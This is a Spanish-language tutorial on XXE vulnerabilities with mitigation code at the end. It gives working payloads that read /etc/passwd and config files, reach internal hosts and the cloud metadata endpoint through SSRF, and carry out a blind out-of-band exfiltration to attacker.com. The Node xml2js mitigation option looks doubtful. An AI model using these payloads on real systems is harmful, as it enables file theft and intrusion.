Intermedio
CVSS 7.5 - Alto
25 min
XML External Entity (XXE)
Explotación de parsers XML para leer archivos y ejecutar código
¿Qué es XXE?
XXE es una vulnerabilidad en aplicaciones que parsean XML permitiendo a un atacante definir entidades externas para leer archivos locales, hacer SSRF, o causar DoS.
Payload Básico
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user> <name>&xxe;</name> </user> <!-- Parser vulnerable leerá /etc/passwd y lo insertará en <name> -->
Tipos de Ataques XXE
1. File Disclosure
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">]> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=config.php">]>
2. SSRF (Server-Side Request Forgery)
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-server/admin">]> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
3. Blind XXE (Out-of-Band)
<!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> <!-- evil.dtd en servidor atacante --> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>"> %eval; %exfil;
Mitigación
Deshabilitar Entidades Externas
// Node.js (xml2js)
const xml2js = require('xml2js');
const parser = new xml2js.Parser({
explicitArray: false,
xmlns: false,
// ✅ Deshabilitar entidades externas
external_entities: false
});
// libxml (PHP)
libxml_disable_entity_loader(true);
// Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// Python
from lxml import etree
parser = etree.XMLParser(resolve_entities=False)